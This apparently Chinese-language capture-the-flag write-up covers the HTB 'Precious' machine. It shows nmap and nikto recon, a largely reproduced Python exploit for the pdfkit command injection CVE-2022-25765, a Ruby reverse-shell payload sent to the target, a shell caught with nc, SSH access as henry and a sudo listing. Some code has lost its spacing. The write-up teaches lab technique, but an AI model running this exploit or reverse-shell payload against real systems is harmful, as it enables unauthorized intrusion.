┌──(kali㉿kali)-[~/HTB/Precious/workSpace] └─$ sudo nmap -sn 10.10.10.128/24 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 17:08 CST Nmap scan report for 10.10.10.1 Host is up (0.00027s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 10.10.10.2 Host is up (0.00018s latency). MAC Address: 00:50:56:EC:CE:9E (VMware) Nmap scan report for 10.10.10.133 Host is up (0.00031s latency). MAC Address: 00:0C:29:42:D4:D0 (VMware) Nmap scan report for 10.10.10.254 Host is up (0.00028s latency). MAC Address: 00:50:56:E9:4F:0B (VMware) Nmap scan report for 10.10.10.128 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 1.95 seconds
┌──(kali㉿kali)-[~/HTB/Precious/workSpace] └─$ sudo nmap -p- --min-rate=10000 10.10.10.133 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 17:08 CST Nmap scan report for 10.10.10.133 Host is up (0.0013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:42:D4:D0 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 3.29 seconds
┌──(kali㉿kali)-[~/HTB/Precious/workSpace] └─$ sudo nmap -sV -sT -O -p22,80 10.10.10.133 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 17:09 CST Nmap scan report for 10.10.10.133 Host is up (0.00060s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) MAC Address: 00:0C:29:42:D4:D0 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.12 seconds
┌──(kali㉿kali)-[~/HTB/Precious/workSpace] └─$ sudo nmap --script=vuln 10.10.10.133 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 17:10 CST Nmap scan report for 10.10.10.133 Host is up (0.00050s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. MAC Address: 00:0C:29:42:D4:D0 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 73.44 seconds
┌──(kali㉿kali)-[~/HTB/Precious/workSpace] └─$ sudo nikto -h http://10.10.10.133 [sudo] password for kali: - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 10.10.10.133 + Target Hostname: 10.10.10.133 + Target Port: 80 + Start Time: 2023-07-03 17:09:49 (GMT8) --------------------------------------------------------------------------- + Server: nginx/1.18.0 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + Root page / redirects to: http://precious.htb/ + No CGI Directories found (use '-C all' to force check all possible dirs) + nginx/1.18.0 appears to be outdated (current is at least 1.20.1). + 8046 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2023-07-03 17:10:15 (GMT8) (26 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Options: -c Custom command mode. Provide command to generate custom payload with. -s Reverse shell mode. Provide local IP and port to generate reverse shell payload with. -w URL of website running vulnerable pdfkit. (Optional) -p POST parameter on website running vulnerable pdfkit. (Optional) -h Show this help menu. """) exit()
defloading(spins):
defspinning_cursor(): whileTrue: for cursor in'|/-\\': yield cursor
spinner = spinning_cursor() for _ in range(spins): sys.stdout.write(next(spinner)) sys.stdout.flush() time.sleep(0.1) sys.stdout.write('\b')
# Run the exploit defexploit(payload, exploitMode, postArg):
if"web"inexploitMode: if exploitMode == "webcommand": print( f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}") else: print( f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}") print( f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port. \"nc -lnvp {listenPort}\".{color.no}") print(f"{color.blue}WEBSITE: {color.gold}{website}{color.no}") print(f"{color.blue}POSTARG: {color.gold}{postArg}{color.no}") if"http"notinwebsite: print( f"{color.blue}ERRORED: {color.red}Make sure website has schema! Like \"http://\".{color.no}") exit() postArg = postArg + "=" + quote(payload, safe="") try: response = requests.post(website, postArg) except: print( f"{color.blue}ERRORED: {color.red}Couldn't connect to website!{color.no}") exit() loading(15) print(f"{color.blue}EXPLOIT: {color.gold}Payload sent to website!{color.no}") loading(15) print(f"{color.blue}SUCCESS: {color.green}Exploit performed action.{color.no}") elif exploitMode == "command": print(f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}") loading(15) print( f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}") elif exploitMode == "shell": print(f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}") print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}") loading(15) print( f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")
if args[0] in sys.argv: help() elif args[1] in sys.argv andnot args[2] in sys.argv: try: if sys.argv[sys.argv.index(args[1]) + 1] inargs: raise command = sys.argv[sys.argv.index(args[1]) + 1] except: print( f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}") exit() payload = f"http://%20`{command}`" mode = "command" elif args[2] in sys.argv andnot args[1] in sys.argv: try: if"-"in sys.argv[sys.argv.index(args[2]) + 1]: raise listenIP = sys.argv[sys.argv.index(args[2]) + 1] except: print( f"{color.blue}ERRORED: {color.red}Provide a target and port! \"-s <target-IP> <target-port>\"{color.no}") exit() try: if"-"in sys.argv[sys.argv.index(args[2]) + 2]: raise listenPort = sys.argv[sys.argv.index(args[2]) + 2] except: print( f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}") exit() payload = f"http://%20`ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'`" mode = "shell" else: help()
if args[3] in sys.argv and args[4] in sys.argv: try: if"-"in sys.argv[sys.argv.index(args[3]) + 1] and len(sys.argv[sys.argv.index(args[3]) + 1]) == 2: raise website = sys.argv[sys.argv.index(args[3]) + 1] mode = "web" + mode except: print( f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}") exit() try: if"-"in sys.argv[sys.argv.index(args[4]) + 1] and len(sys.argv[sys.argv.index(args[4]) + 1]) == 2: raise postArg = sys.argv[sys.argv.index(args[4]) + 1] except: print( f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}") exit() elif args[3] in sys.argv or args[4] in sys.argv: print( f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}") exit()
Options: -c Custom command mode. Provide command to generate custom payload with. -s Reverse shell mode. Provide local IP and port to generate reverse shell payload with. -w URL of website running vulnerable pdfkit. (Optional) -p POST parameter on website running vulnerable pdfkit. (Optional) -h Show this help menu.
UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection OPTIONS: Reverse Shell Sent to Target Website Mode PAYLOAD: http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.10.128","443"))'` LOCALIP: 10.10.10.128:443 WARNING: Be sure to start a local listener on the above IP and port. "nc -lnvp 443". WEBSITE: http://precious.htb POSTARG: url EXPLOIT: Payload sent to website! SUCCESS: Exploit performed action.
另一边终端开启nc监听443就可以连接上了。
1 2 3 4 5 6 7
┌──(kali㉿kali)-[~/HTB/Precious/workSpace] └─$ sudo nc -lvp 443 [sudo] password for kali: listening on [any] 443 ... connect to [10.10.10.128] from precious.htb [10.10.10.133] 54028 whoami ruby
which python which python3 /usr/bin/python3 python3 -c "import pty;pty.spawn('/bin/bash')" ruby@precious:/var/www/pdfapp$
那么接着的第一件事就是sudo -l,要密码,过。
那就先手动遍历下文件吧。首先要看的就是home目录。
1 2 3 4 5 6 7 8 9 10
ruby@precious:/var/www/pdfapp$ cd /home cd /home ruby@precious:/home$ ls -la ls -la total 20 drwxr-xr-x 5 root root 4096 Jun 12 04:23 . drwxr-xr-x 19 root root 4096 May 16 10:31 .. drwxr-xr-x 15 gaoxiaodiao gaoxiaodiao 4096 Jun 12 05:40 gaoxiaodiao drwxr-xr-x 5 henry henry 4096 Jun 12 05:10 henry drwxr-xr-x 4 ruby ruby 4096 Jun 12 04:23 ruby
uby@precious:/home/henry$ ls -la ls -la total 36 drwxr-xr-x 5 henry henry 4096 Jun 12 05:10 . drwxr-xr-x 5 root root 4096 Jun 12 04:23 .. lrwxrwxrwx 1 henry henry 9 Jun 12 04:23 .bash_history -> /dev/null -rw-r--r-- 1 henry henry 220 Jun 12 04:23 .bash_logout -rw-r--r-- 1 henry henry 3974 Jun 12 05:07 .bashrc drwx------ 2 henry henry 4096 Jun 12 05:08 .cache drwx------ 3 henry henry 4096 Jun 12 04:56 .config drwxr-xr-x 3 henry henry 4096 Jun 12 04:23 .local -rw-r--r-- 1 henry henry 807 Jun 12 04:23 .profile -rw-r----- 1 henry henry 536 Jun 12 05:01 user.txt lrwxrwxrwx 1 henry henry 9 Jun 12 05:10 .viminfo -> /dev/null
┌──(kali㉿kali)-[~/HTB/Precious/workSpace] └─$ ssh henry@10.10.10.133 The authenticity of host '10.10.10.133 (10.10.10.133)' can't be established. ED25519 key fingerprint is SHA256:hhZ2PP71pBNZ2j6slM0FYVNYiySWo+MZtY1HNrglpHs. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.133' (ED25519) to the list of known hosts. henry@10.10.10.133's password:
Last login: Mon Jun 12 05:13:05 2023 from 192.168.42.1 henry@precious:~$ ls -la total 36 drwxr-xr-x 5 henry henry 4096 Jun 12 05:10 . drwxr-xr-x 5 root root 4096 Jun 12 04:23 .. lrwxrwxrwx 1 henry henry 9 Jun 12 04:23 .bash_history -> /dev/null -rw-r--r-- 1 henry henry 220 Jun 12 04:23 .bash_logout -rw-r--r-- 1 henry henry 3974 Jun 12 05:07 .bashrc drwx------ 2 henry henry 4096 Jun 12 05:08 .cache drwx------ 3 henry henry 4096 Jun 12 04:56 .config drwxr-xr-x 3 henry henry 4096 Jun 12 04:23 .local -rw-r--r-- 1 henry henry 807 Jun 12 04:23 .profile -rw-r----- 1 henry henry 536 Jun 12 05:01 user.txt lrwxrwxrwx 1 henry henry 9 Jun 12 05:10 .viminfo -> /dev/null henry@precious:~$ cat user.txt
bf***************************1b
登进来拿到user flag。
该提权到root了。那么接着第一步sudo -l
1 2 3 4 5 6 7
henry@precious:/home$ sudo -l Matching Defaults entries for henry on precious: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User henry may run the following commands on precious: (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/opt$ cat update_dependencies.rb # Compare installed dependencies with those specified in "dependencies.yml" require"yaml" require'rubygems'
# TODO: update versions automatically defupdate_gems() end
deflist_from_file YAML.load(File.read("dependencies.yml")) end
deflist_local_gems Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]} end
gems_file.each do |file_name, file_version| gems_local.each do |local_name, local_version| if(file_name == local_name) if(file_version != local_version) puts "Installed version differs from the one specified in file: " + local_name else puts "Installed version is equals to the one specified in file: " + local_name end end end end